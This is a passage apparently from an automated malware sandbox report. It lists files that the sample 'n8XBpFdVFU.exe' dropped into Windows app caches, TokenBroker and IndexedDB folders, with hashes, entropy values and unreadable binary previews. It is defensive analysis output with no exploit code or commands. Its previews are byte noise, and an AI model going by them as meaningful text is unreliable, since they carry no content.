Preview:	..4t......J.R.mMg.4..}.>....ON.r.6._:...}..$.....Z.Y..-.`]/.(....F>...;..;(..Ye.y.....1-.3S.....<.9%.i.5<"!T[j3....".lz.I..._........x}.(.$.,...<...4.......?..U.@8~...[l)?.].yh....u..b.o.\U.U.s(.X.....Hex..x.xZ...0...k20E.....@GgD.......F$.Y.K.-..y..u.......2.h.y..........H.6..@7.w.Nd.g.....g...../....(..q..#.....!..S.2Q)......"M.Q..U^i.>.BJA..]...4-.M...}.Z.@.G....Y..!g...V.ig't.X.....s....i.3.....w.&zH..s_.b.\..u.E\|...L...`vG;.].....7,../..K6m'?.....:.q..........q.nj.......)....:Wy/.O..6..h..B........^#d;....G.'.....K....6....<.e.......iT.....SZ...%...n.U.e........E.P..U..O.<..f..._.S..{.R..@.$..Y...5? .O#C.q..q....W.%.7..o..Z,f../.g3R..U...O.u.....c..gf.!..u......o=....".......P...%.#.C.T..}..B..Q..}'\|.O.).$_......./x.l.Nkh..P.@j.O.5.F..gRf..5{..!..5...^.I.&.....[....V..kI8<.....Nx.........f.a...~x.e.{zg\..cC7....X.S.h.D.........W.>.........c..^.\Fl\.b."q...N_H1...Y......N.../}.."./I..`.......O.._M..Hct.qu0:O!..Sm.]........E.U.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988229383707749
Encrypted:	false
SSDEEP:	384:QPn6LAEvJABWsnYprxvHG7f3vjA2CcIuKDSwfixKtbsO8SoUiY2zNcn6wjL:QPnIh3sq1mj/UxturrKtFvoQAq6CL
MD5:	8D76FA0F202B84EDA677332101D7EA73
SHA1:	BA3D81585AFA0446290E36E04FEE3DD2588B72CE
SHA-256:	3745E9277981C3D00F70F9A0034943D6F51863585EB911659B331DBC0CFC5E35
SHA-512:	EC8E7E52072F1F111CAB856F536048D737B1ED6EB7B3CE075A7173F6F64ED1222C138C451257D194CE6D3C802F6879C01FE185EF878F8A35BD547E0D2A04ADE3
Malicious:	false
Preview:	..}...,...h............@...s.f>.3!..).S..M..M.p..U....C.$.........G.N.e....z.......(.+.K...B.&..W..1@@PQ'.P..--........=.g'{...>..s.pi..bL..@g.2..H'.....2.=...j............(..`] .>\............L.].(..3Ui.%Z..v.3l.fk......aL_....Xk..!.U......9...lcD.Q:...+..#e.x......Z{EF..W.%.\|..n...-...`QG......\...py..b.mk-....uY.....J.....B.x.!R.P8..fI9}....q.P........X...%..Kk....n...$..y4.....q...^^a....9i.vy......58....I.5..G.. .k..p\|G&...'+.=0+...Yk2..w.......U\|b .%X?.4.R.......{#.,....._g..=........y........../...sW..t..(=.b.c.../.X.e.C.y0..$.K...v.Y].D...\|hr..G.....2{..rE2]`#...p.X.e...z.....f].H.^.....3L..\M1.....<z...:.i>`.SFf..$...f.I.>.\.VE...#.M........T..Q.2...4A....'v_...c\.cQ.......3..`.ur..g.v=........v.]..^.i....LL.........KV.XF.........P_t_...uU.........D..of{...QG..D.*.....C#.?.....Zy9.........~:.F.M.@.<....\|v...V...C....=.[w.Q...0..r..Q.Ia .lJ$6.[#.....P..[.3......X.{.r@e.s:.?...3A.. ....GBI\|(..........{..$..c...p..x....nu...z

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.888820883370066
Encrypted:	false
SSDEEP:	48:O2dvqN3Qwive8C9w1U/JfipK95RSnvBVD:O2dYQhv1QwaRnREJt
MD5:	100DCE1A306E9A2605E9058EC0BA1C55
SHA1:	D236F6C0B0486CE9BE20BA7E003323E5DCEFE580
SHA-256:	920A8393CDC8E8ED11283EEF8BE0B73757905CE854BF73F45D6475A18B6C9186
SHA-512:	F0939D46C95488C1B25FE0F84E00F8C150AF81F55C316C670D9CC2F2943A6B979ED7B60771C412BAA78BB6C5C067673792FC33A69BECFCE3E7A53194C1D74B74
Malicious:	false
Preview:	h.t.t.vK#.."..;..}.....M.......Yu...1.f$.-.#;-.R `@N...F...\|.W.iSXY9..9uD..qP..[....H.z....w..jIG..ib=We...0.K...B..3Ut~....&.(.......$......s.q.F......W.iG.c...S....g."..(9..5....a...JE.^g...@...3...;.=......:....~.<0..Q2..&....M 5rF.%sjn(..%\|H...hs.y..~.................G.d...4.s..j...;N3h.....K1w....Sb...P..XV..<N..v.b,..zfz.<......JpU.Fm._W.jV....X....vP.R......+...-.v.,...(47....T.......t....[)M%....Ul.R..AkB7Y\]..~y1.PbC.w.e..4...'..I..u.Z.Z.YcD.=....M..>...U....e....h.b....LV.Lz.....?T_......5L.t...$.qV..\|J..\|(NG.f.:+.....N....<....[y.2.1..N...acz.;...S.....g.._Q.6!...73..J~6..$?,.x..............i.5tZg..V.W. ....i.:..N<s....L.`2..u>/..Y.raf..o.%....A..l.O.....]..oW..3uQ,.(.dE.8c.*...x.F..U I.8-..K...=........I./.qS.Q.......-40A..S..}....7X...(a..Kp....W.,...}J...`...GPq._....B..`.......p..Eo......78a9{W=...c....._..x2A.M..\| ...~.=...o.....E..q.=...,k.+..$h...J....#...4..i.;..].F...t.B.{.s.@P......xmq..B.J.\^..@.........jc....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.804417621098641
Encrypted:	false
SSDEEP:	24:WFybCy2JBybwQJurZ7TqWAiymAp3EH7YR5vbD:WYD2JXb7TqzijARg05zD
MD5:	9AC787FAA8E20B79099F8C3B12EDF5CA
SHA1:	B190411FA5450DA57D71E1B15925D9A7201C267E
SHA-256:	A07ECFB088E2428EBFB1D6170F0413398ECA4E4C7DBDB32EA8C8AFC97614F40A
SHA-512:	2C99FD44E3A3DBCCF1C32B2AE471E21721CC42BD660367D7CCDC7BE1998B9649B7192FFB3DE4DFAC59E5690CB2EA6996C84DC44F7057C1049D68D1DC78C2DD2A
Malicious:	false
Preview:	......\|..`..a.0>....Ou4[.7G....x.7...Y"..nt<.$..eW..7......~..O[%... ..M.{...Y.X...+..R.>.I..eT..[..3..n.4..<........D...9..O9.w...I_..,.n.....I.K. .........U....L.C..w+....?.W..on..A,k.BJB?}r....G.....q..,....J.o8....h'.......#.e...e.........(.i..$.%....N..0j ..z.e.Ze.YMK.UA.Q.`..^....m.....W .aVU...H..S....m.w.....T.~..-py...`,~2p.f.Q4!bN..Nkr..4;.0..@...}........".^^!.XXZ.....F...v...V.y....e...+b.....6{.M;.\|O.J.4..>.VL5..E..`..V#(..(..........q.}...W......=...\.b$3LbV.y....d..v=....-. Q.j.\|Dv.\..b..?.V<.(s....<`..M.^....p..Q.q5d.o.l.......%.P..B.....&K...a.....3'...qc.8....\0..&.I+..2...h...X.v....va.....X...J...{G.73)..... .\..vI7....<.1.].^q.U.3........\{~....O.!.z..s..c..<.sE@`..&..S.\|...g.M..............v..>b....d.Y..$......._.o0Y.P).G......n..>...V...p.../.....~.L....J.=.dr#.O...\Q.hB).v.$< ...r..6.B..S6.]..jc..3.hMM.s...F....%....R9..>..B..=...+....!.i.Y..a.t.?...h....o...\|>b.j...Q/+..Y........R,....T..L....od.=a...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\TokenBroker\Cache\e71e1300703d5395820e448840a760f0dd25ad50.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	7.933038212711291
Encrypted:	false
SSDEEP:	96:uERUTYAQ6RlXwY8Qc3NcBw+9rDrtjUeqgVM:uEallXRS3NcBw+NreeVM
MD5:	5C05A18036E2DEFDF8037322DA4DEB2F
SHA1:	9F5893D445977172AF1F50C5A953C15B50B22141
SHA-256:	5D63702A43BE09A282B41E161608DF349F961ACA3ECC85F4463AA011F4DFACA4
SHA-512:	6D93B6F862513E8C69B233A94EC03572CA59802D8E39AC3093B914C9DD0F8A59F28DB3481F883C996C2F55836DC24C53D867A07B8F8A8531A556F5D82120B487
Malicious:	false
Preview:	{.".TgO......A..L..e.]..<...&..7~.:."..u.F..../PW..(.....ee..aG..g<G.GM.!.O.AJ'....c)b#Ffm........j........$>..g.<rT....EZ.w..X...c\|%..{q.j.A....".p.o.&k2.....P.r.].Jj#.kG..C'....q...0~..3pM....3C\|.I...~.....#..z....g...P!...k..9s.R..d.W..N...b]....n.I`...T.i.+5.].F.+.y....M.w.O..A^(;..f..ll....#.e.5.gm}..D`....,..'X.....nh.I....t.....&....P.&.;.._v.T;....!..Vq.Jm.....s<....-....#.+Q..]._`'..17.2]....v...A....1.;..^.....H../......b....se5"a......#.C.......n...@bW...<;...L..X.ZgnD.<N.c.KR.\.K...L<...f.1..o}..Sw....m.....KCE....6.f......W......w.../t.6'...N;+B.R...m(..t..pw`.....F]#.q-y..t...s$.V.0xMx.>f..5:.e.Nt......n..."....)b.<p].B.P,..$\.H...I.d..f<.........f.-...Gv....r...=().!k.):.>...(!..E_...`)A#.XO0..2..DD.[&)pI.v.5y.N..}..m..X..V!.}GlA.;-...-..1.`To...a..h...c6.2.im"..?.X.:IH.lvB.6.T2..N."...G W..&m.61.....F.F`..`....:.;W...PF4...Jq.Q-...a2.Xn..=L.V..&..qU.q.........l_....g....'N&/c.~v......@..~!/.q..<l).n.[.`O...[.c.j7..>.....3.^

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.935082463531728
Encrypted:	false
SSDEEP:	48:QC0tairqEAuV67PBYzSi9jS0mv+F1jCUL+STana227YPbE54hK5s89XofTBJzxD:QC0tuOyWuRWFK7Lg5p54fTB95
MD5:	1CA7C627D1B412E2094364A1462A5A12
SHA1:	A15C99397424E101334E576E95849A401FBB0EF2
SHA-256:	444D83C12D866FA0F951E7442FD3A4B88D9763FEDF803B405F52BEEF023D9D92
SHA-512:	440CDF13CB1100D7A02C5692FDA0D35B6F9CD5CB4E4207D03CE6E8CDE95AABB1E3F2C61BC7C403AA8CA1A0A5577713678EA236D52EEBFEB0F7149BC58C487844
Malicious:	false
Preview:	{.".T.....v...P...u....,P.`.0E-.......h.$...ga.....}.-k..h.....x/.VU..i8w.`$.i...V".O..jW.....p.\..m..K3.T.!t........N;..p.."7..%+\|....#..`...A.S{A.Y...u..r...0.I.1......L..f..{.m..r.{n....OS.\|...y.._b.......h.\.>..J....tv.L.4]n.E...?.j6\|......@6l..1...(X.F4.P..(..pj.e.N..Q..K.>ZE..K..;RQ#A.E.-..'.d...i.9..N....M .....1.V..6....1..k0D.............W..V.C.'y}.......e.:.0"...$.x.vg.K-.Y.......:=.E..J>$.n_..&..8..vqV.tN.NV7.jkE.a.\|.wfR.......H..}...,.BN...V.].....-./.ku.....JS...%..x\|-....on.\..l./...Z.>...5q^....k.i#."!cP.\|..WH...M...F...m.~.....}... ...$o.Cg.....G.l6.~...[6o.#.z.JKw..,R.j....f...kX..l.V.-..C)..}..v!1..b......o.....F..c..o.3!....I.4......?....(.-.S....n...1.h?....3.D.]..No...-p..{.D4..Qr..r.5j.Q..7..<K...\o!.. .....~X+.i..A.O.u.H .C...<.K7.O!.o...B.kZ..F.i....G.R.y.5S....z.\|..&..7.x+.@.. .0...QY9..>..J...Y..Q..Y.f9..O9={.?Z..ot.{j.w.V.9...N....?E a+..8.O..]..!.......&...6D..+n...1..".[...v8Yh...#(..z....]f.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929502437927962
Encrypted:	false
SSDEEP:	48:VO1Avni0IIKnHiigS9xnOWNE+9P+xqcNPiJ3J18Tf9c0D:VOKPTIIwHiiLO099sqcCZ6
MD5:	C16ADCB8B27D0225A1715676D608B0F8
SHA1:	516CE1F351CEF2FB13E3D22C76C7534F1AD33059
SHA-256:	9A63276A36EE668C3DA9EBD1138C111CE736CB4DA4DC271A5ADEBF84F89124BB
SHA-512:	A06CE12ACF612AFC02A54E0087F8CC1209D1001717A20F6E12CFAB378EADDE37034613C5B573660D098F68468F0E8E26340F6961B37C121A48496A6CAE9E5FBA
Malicious:	false
Preview:	{.".TX ...........:...@.N.u..l...%...J..pCm....,.l0..n.].R<.+.f...;..:...X6.-..FE@.o#M).6...=^....PCT-..rP.R!....Q<.moi.p)../=Z.0s..8...vW2.2"d.K..]q.....{O.......n'........['.1..+,)1gdS&D.SM.a..[XD....B...6p2x....2...&..~..G..P....@:!..`....:.t~..+....N./.d..H..9....Z?............Z..E..Z... 7o.ykqr..~.v4.4F...9..0$,.......7.e......./R.q...IMp!0f.....[JF[..[?...p.%3.:[<.o..'.,..Ms...6.;....9.9..G..$.]g.P.....8Dq..B6&......i.z.F..[,...rK..@....f.C.F...bs....5]c...7.......S..o.$.....Z.....y<N..=....n.Ok..=..0.E..:..G..`d.t`...:R9`.=..c.........u..4rG..1.aZq..&^.....uu.$..x.o.G..b}..../.:.Em0.7i.L.a..0..?Ck3H....j ".9.~X...h..,....C.....Ra.^../.}.6......C(.].m:t....\q.i.........<.....P.lq..w..^.qi...UV....%xhQ9...........b.......T....ET..m_.....$..WJs.r...>i.m?..b.X..F..i..K#5.....`.>.&oTgd0.T.....U..>.-.r.0d...I.#.s<....+......O.I.O..L.?^..h.K..\|..R.SR..LH\|....M~..U.......ZBD...Q-..Iw\|e}.:.d.%$R.&..:;y.S3L..l+..."..,..d*..t.....i..b..5.C=..)...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3189206064796006
Encrypted:	false
SSDEEP:	3072:oRcaTLyKlpjjnAedew6EhIyDK/OpIyQaGcZGJTPuAx3se/08hRpaPam2:oPAEmAamIgVGJbuU3C8w2
MD5:	F1B13B0C8579F4791454C9391D64A576
SHA1:	E758F2CE1318E7214DBA1BB947A286708D390EC5
SHA-256:	185E7F22AB3B7DE20DA014BD1DCD79D81A49175FF4A453C155143BF449F7BBB1
SHA-512:	CF314AD22468A3B299055CF6380062BA2A49BB82BD66C10C881A50DEE21A87704FC54FE069C1D6EEAD2A44AC9F8C584E15C472904CB873169DE78202C828E32E
Malicious:	false
Preview:	./...@2.M...$6.].Rt.N.FZ.!...#$+..~.....R.......t2...5......k\|BJ...`;..5...,...w~....4..v@o..J.Za).!....J..\|X)V.....A.G.K..m#..S~......=.'."......}......J.mQ..[^+B.~..\|....pJ..Ki...^../..pv...g..=Xr...<x z.b=&.......3.._..h..T.U.&b.8j.....p%.....q.....J9.N..W.Uo..h@.s....K....:.5.!.........ty....o....[C...n.u...G.'..P..@..}....T.../#.E.I.67?.Bt..?. .R.m.e.i..;...X..JFM..........P...0Q.-..AWv.b.Nm..-/^...."5T.~.j...%....s....#i.......'.!.... ...........L.Z....M.{9..J.F..;.jP.@ ...Z..V{...2.x.......^M..#H...f'i8..........:.0.!......!2LC3n...OPf...q..i../.c.,9.xM..Z.....F.owF..p...EP..O...tWo&.)^_Ul...]ND?..9.0..A.............~...9.......n\|.....G.vrh~.c..'.,..J.8;.%.;SB....6...d.y.~..C...#.SJ....$.A.h.U.t.-)..s....'h:).?..?.......VR.=.i.....p.25......]......{.8. -..Qg 3.iT9..K[.t.@.C...S]...R..E...3,;........../.A._.`J.&.0.ax._...Y..........-/.T...#..W........YMb....G;.<B.EP.....7iT6.!....F.c....`...\|..R.a.+...)...oId...Z.{..IT.....d...gE@...!.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989732043665178
Encrypted:	false
SSDEEP:	384:IP9F1KL9M+q6y9+DD3GUX9VAP+K4miaXGaul8gKTuAmsVZl:Wj1QMX6NDLtV8ZdGugWuAv
MD5:	06CDC6C27B8D2D44DB5026F24E881A76
SHA1:	70D76140CE76EC6099B029C441E76A269C8FB401
SHA-256:	8F16EB4EE17508A3B60D23206A34D516A03040576A24821A1625E33E498BC361
SHA-512:	091EB0DFED93215EC1C7D538E54C0AAAF2F76209B0B5CE329EE9E08C939F8F5D0490E972820D25C8EE5AADE3114AFA9DB9239B8AB085AA06D425048FF2C32980
Malicious:	false
Preview:	@.v..>.E{k.D......J.s.}LA....8/$H...+...x.x/w.n....p.8.:r.r......3.....J.@vc............Ny......t...Q...d./K.g..G %. X..=4...2...y.L...\|\.....9..a[..\|..os.3../.)..UK...7q......X0m..7~.&.Y.C.TE ...\|Z.b....(j#.c"3.,;<.!..]...@[<.0N..~..x+..U.o........,.t+L..K.%.!..p..A..d]....].&.P...2+.g.....5..=....p..S.R....W;..r.'.WD\^.I.5Ix./+.\Ox.....\.p.L.@m...r._.....3..h......H.n....C..^...d..zJo.ua.R....;....y.........D..r.Y.`U..v.&:y..)ips.....&.+/...,.........$3.$.GJ..5&..4.....m.....NH-c.1...?..].-.D.M.-dc....)fc..0...3.....1_...q/3aU..N.AM.,.]..%...w..DH.b....G['u.Q6Q.N.Z...=]}.W.......e.P..N..Y..$.PZ.Z...BF....X.).ho....8.9L.T....l{.s.$gDQ...s#v..."...n.M.~....;.F A.E....<..{....L..G/......g+L....-s...6........v..>..A....p.I...B..].J].V..(..mvu......g.........F.[.p.9G...O.U.........w.!..........`.B...ux.....:..0.......6.....P.<..j.[J....S..3#6..G...yd.....l.wc.K.$....\.k..l......;.FY..Wq.,.J_...O'.O..7..bc..P..GZ.....^.!.. 8.4'.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.113204649353491
Encrypted:	false
SSDEEP:	3072:8Z1QOc48WtCE/Nw3AmCqvus86/1BVSUXo7SP3/4DJaxDfax7A:+QOcHH3AJqC6/1vSU0MP+gsA
MD5:	C7E15E331065368AC944A23C216CF0C6
SHA1:	0417789A2089197BC80C17BF6BDD329A8A0A59CA
SHA-256:	40D22400DAD67FDEED77930A748D67F91939D93B4A5D7ED3F004F60446B69F44
SHA-512:	2C12183798F26474DF9E1CED3B824968427E98152615E9B84266A993E46CE10A3ACAB17320600372CFD758B548483BFBD2731C9874467C7866185852CD512EFA
Malicious:	false
Preview:	.....`..5HE...t...a:......l,...%0Pb...r.;w.g].....ZKm.R....W.".Y..&..}..O?........1...u....oK...^.........}..jon.ol%[.!....CL...H'..\|..4CE.l.a..<X..7....M.J..7.<2n...D..+W6.q....0.\|.s.;.Q.O.X.PT..1&.^>".U.O.(JL..".5[.o.}.".~.nh......x...TO..Z..B42I\|.T.tW...\|.$&..T.....\...E..x]..n.'...lG..H.CP....VD..h...#........,....Y........q..G.......?Q....b...9:...(..e...)..... 9GI....1.#O..\..\6i?..r.'B....!.g........ru...j....H..'......l...z.g\|..Zj".....J....J.`....\/i\F....K.....F.Z.ZX{...m..WT.{\|..B+.gb%P..a.....nq.zG..vPj...w.....C..`R..v.>.s._...c..m..P..3.Q..&nb... .....QH...v....J.V..:.".<0..."..A.Kv.MF;..N..N.q..d..Gp..m.ree.M....%/].{O...T<O.......g...lF`..N......^.n...Y...?....?.3c.(.....--.....g.D[q..M.h...3.......Ry.........f......~T../.)E...G..C..v........_\|0W.o.q.!nQ.;d`.....2P.q...+...m.....%....3s..E>%...`...Y'....y.gf@.t...@}....T..//P...Zg.c.DD.vl..k...:C....T....e...%r.z...7...........H..9.A$.^.&*<......EU.....j...0V..."...uK ...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987969422049044
Encrypted:	false
SSDEEP:	384:j06nQVs5CmynGaiLPMR4MMZ6IJBPHvTTUYlcb68fo2fv6/DY8zHmX:jZMrmy1Uiw6IJxb4bgL0YY
MD5:	7BA2CB59FBA62777BE975B898889C110
SHA1:	93D5D3436ECA14D39E17429E66DB3B374CBD24D4
SHA-256:	5F7DA466EDC1313145BDCE98A25894A4C2B8DC6C19CE5C08E1118DF8A30EFEE3
SHA-512:	EE0DDBCF2678AD6AEE904262229BA95E78818BD3AE0BF76407F957DED2EA5484204E434B0D61DCE4B7F7A5FE4D7906313986E98220DFFC1A17058A79B692640D
Malicious:	false
Preview:	..l........K$@.^Z.P.i....B..~...E.,1..y.0Q"..g..Z.......[.=.-..".gD5.H.....................}K....Q.5$m[....X......Ab}.....V.B,..{^X.Sy1.b.z4./........Y..`.9..B.3.._R.....Y.+.C..y.....x.z=."...ex.O..8..S..*5%..y......U..5p.\|YZ.I.....C>0...9..DA.....+K.......4I..g....^....0.......ol.@R.....Y...._.2vZ....eW..."{j.\|..G...HA....z..'..j.k[...u.O.Uq?^...........).)R...z.A.#.(? >+{...2.:\.;,$..... .}.......q..l..h.8U..ESX.2+....o..G.J..c..R-.....n..[.U.+....kQ.%.M.J.g".'.....r.8.w....8..\.zuI})...4..o....V.Tw....2F...(..n.T...C.<..............H.R..../9%mO......H}.q c..X..q..T5..<...0_.H......t.SM'....p....T...... ."...6.#.I.o..uQ.S6c$.VBp./..0.!.GH[t.>..xq.dp./b......cRR...& .(bs......5~.....I.Fj...-.....q_.....{...X.....<#`r..g..c..k..$...:sL..:.O>.../.-....9f.........I...m#.......Q.._..%.;.....UT....J].5....t..1z..9...].....=.....#..,CP...Fx..{...Kl.x5?b..d...q.eVK...9?EM..p......C\|.......cf9..6.v.V.Bf..A.!.]U0.....\|.......q?/X.....~o-....S=.)o..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979529091251539
Encrypted:	false
SSDEEP:	192:IUQwdOhns+ZpPihgvL5gwK9VddNK0xl9kddz+qQ:bQw7wlBvLWwkZNK0P9lp
MD5:	E470C073991E0846DC4E59A002B708A2
SHA1:	C8ADFCED13560EF14098C5E427C9947CA20A598A
SHA-256:	05B4B25AE50434417DA99CBFDB5D1EDE77ABD82F3FC3DEA27925143C8D8AE104
SHA-512:	998E4F66CAEA5E0F0C3BD446DC3DF66B32104A44471868A31DAEF7BD6697072A0718408992DF63E9A06608C1FD6351910AFAD911C335FAB5DF90F4298130E3B1
Malicious:	false
Preview:	6....W3.</.R^0..w......Y..J.0.m.^.x..!^='s..e....B.......7..7Zd..O...,.......\..1..\|.3}....p^.....T....:;.=.ZU.V#.RY.(.w.........>_.c..jtG..+....P.]t.0..bk...S...i..3.CCk8.v....y.....%.t...!_...N.....i.0fy^...@O....Pn4..z.7.4.~=."..........js.N...n.\..?...h...o03..._.4..#..,.&r..!.]....;....m.,..jWm...{O.0.@ f..6D...)s....f..J....f.y....VX>}...FZ..p`.'..N.,.d.-.y@.#...kBl....&HT0%....4u0..\A.=.....@..}....s.,.....d...5..x~..-.i'...'.9...^g.M......Bk......m..z.U%.A...MN.....@....U..>v..a.....:?.Vt.dd!...!.;.]....x.G...[=........g...Q....h{@LJ..1.$..O..H.O,..e....U%.?..i;>.........2Gd...v...S.O$.m...I5P2..[.P.2p.....$...2.G.....<xx.A.....).q...U.J........r.v..3lR.2...{....G.....0...j.v..:.m.I....].F..a.s...Hvc......Ew.?n....EIZ..0...cW....R.x..6.i...&k....o...RF......&..{:.}h..i.U..............Bl.N,X2 ...........sy..cy.F+.....3..4W.#..?...L.Q......,............;.].B!......Z/.=CT....-..JQr.BV.j..Za/6.f.F..^..u..^o08Q ...""Z[".....zt..1..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076845666319675
Encrypted:	false
SSDEEP:	3072:XOup/CAOGK5RHu/Rs4vjlntPeu9JnUDtrREQUAnNdEQMsR7Vd+wJD4N:XOup4D5yRs4FNeu9J0r2AdZMkSX
MD5:	A87F7EC7806A2E8FB18AE30212E9E6E3
SHA1:	70B5693EE0FB923843E0E6AC9CA4587D8309131F
SHA-256:	A575C83ABADA6466DA364D227FD665B063A770A539B96EF33BB1D57969BC3696
SHA-512:	DB25E64367EEF3368AB5D7344B3167FCF5EF40DC8AA12DFE5E84CC03B1F51875FD50E18A221171FD2EB487BC8ABBA153D73F1AF3D2F7D8F58EEE6800036907F7
Malicious:	false
Preview:	u.,I.l...^u.,........!...!Pb.c...jo.~N..36G..up\|..i[..+Y.....fIr..b....>.co#..>p&c..k...QY....=..{Ot.Wi.......uc...w.5}..{."iC......D..F.=..2^.Z....'.UG.V.v].hrt......6..~7-.}#...e.Z..I.z.^...\|..A<8..........[ ...<...:M^.....d..\|.J.C.Tu&z\|.A.G.%o.....f)R..Z.Tv"D....(.a._"5eO...{...&^...z.A..l.Y...3....or......Df}.3...r.K>'.z.8...p....Y....).0Y.D..V..!;....K....NO....S..U.<.5.P$P.6..\|.2.-,!&.3Zh.o.qi.P.il....q.aK...a...{9ab.s..f..K.z.'...jP.....N..J=..eF..=....7.Lz.Q.s..b...,vA]w....g._....eSI..;i.wGk}_.d.X..>..R._WQ...W%b....^X..W...........{.......1...F..6M..._.......=.4...L.....Bs{...._....5../b..RA.N.s)...k..%-.l....B..&k..miT.@.97.?[i...#..8...%[...#7.K.........}.OV=..........l....1R/..Y.h..:.g..G...}..$.^\|q.mV......\7,....4o5.2C.d.P.w... ,...o.t=......'.;.V-_..N.(..qj....Y..C....n.8..t..a"_J.$...!v..;.......c.c...>..>...;PDJ=\....8?Z.g&...uR..[..........\.(.T.PA.$..l....TK.z.v#.j.5@...c..C...#.Z..<\|.).L...D....."......fA....<,.X..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.501765331767494
Encrypted:	false
SSDEEP:	3072:NJ9DYU5PMj8T/lIbtF2kWuCxXll7u8QsSR8MOAscyAGHPwLy7k8aNcmul34c:v9DNPM+/4tUkUalZ8MMjw+73
MD5:	701D2608D4EECAEA2AC241A3398444BB
SHA1:	F7CBAFB7ED98583DF7509F878C599665FF442736
SHA-256:	5FBE90ED1D71CCC8C798F1638A68414A65E4C225018EB142410C5A819C5D1CFB
SHA-512:	364BE09566B05A6F179CFF397240800F67478ACF4821D5DEAABADF956C64CA2416EBE77EFFF68ACC45DCA0868B0E72C6B77689045821BC53E632415DC8136551
Malicious:	false
Preview:	.......@.p.2....s...)]QmZU./....A.L?RS.../.Bs5\<. s..:v\|.....G.GW~..`..a..D.bU.I\..s.=.k0.p@...[Ru...X....$.=1....>..zc.....?....b.....#d....H0...jD.....y.xx-..T...'F.".}%....9.B$qh-.?.h.....>...:..0.Tk6 `.3".[.A...$..(..b......N..3Q.`%`..ff....Iz.......H...........^.g...y.. ...r5.w_m.'...:7..`..V..RFX.e..k...i..%.K...~.`k?h.'Q&ONV\.Q..-.....w....!...S.b......s....a{.i......T.j'.>..Rl{...P...EO.[F.Y..Q)..A.....z.u!=_.G...U\..ZB.k.^v.C"........Q.Sl...r.?L..aEkL.D......=.0a'_<.3..).?v..1..bk..oxA...-X(X.y.aV.}D.}+f,._#G....ow...n\|...[.7....X\|.....s.nD#.......M.....Uo{ S\q<Y.V2/....}.u.Z..?o.dR...<.9$..dT..e..(pK........{..T....V...C.%..v.r..)..].E:..Z.A.ET.-l..^..b'B.;...s.._...L.g....K../.!z.. .:.....FnZ]x. e.....\...K.....m.`.e.SN,......h.C..q[.k0.".f..}r...6{....`..Z..kH. }8.i...<`..J...T..1...G%.p}...E....O.I.V..75...ge.}}....L..>.#...8...d.....=K'.u...Q.R. ,......\|2......), .J[.v).........f..1...Rg.!....J....2..p.07G/.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2082640221214356
Encrypted:	false
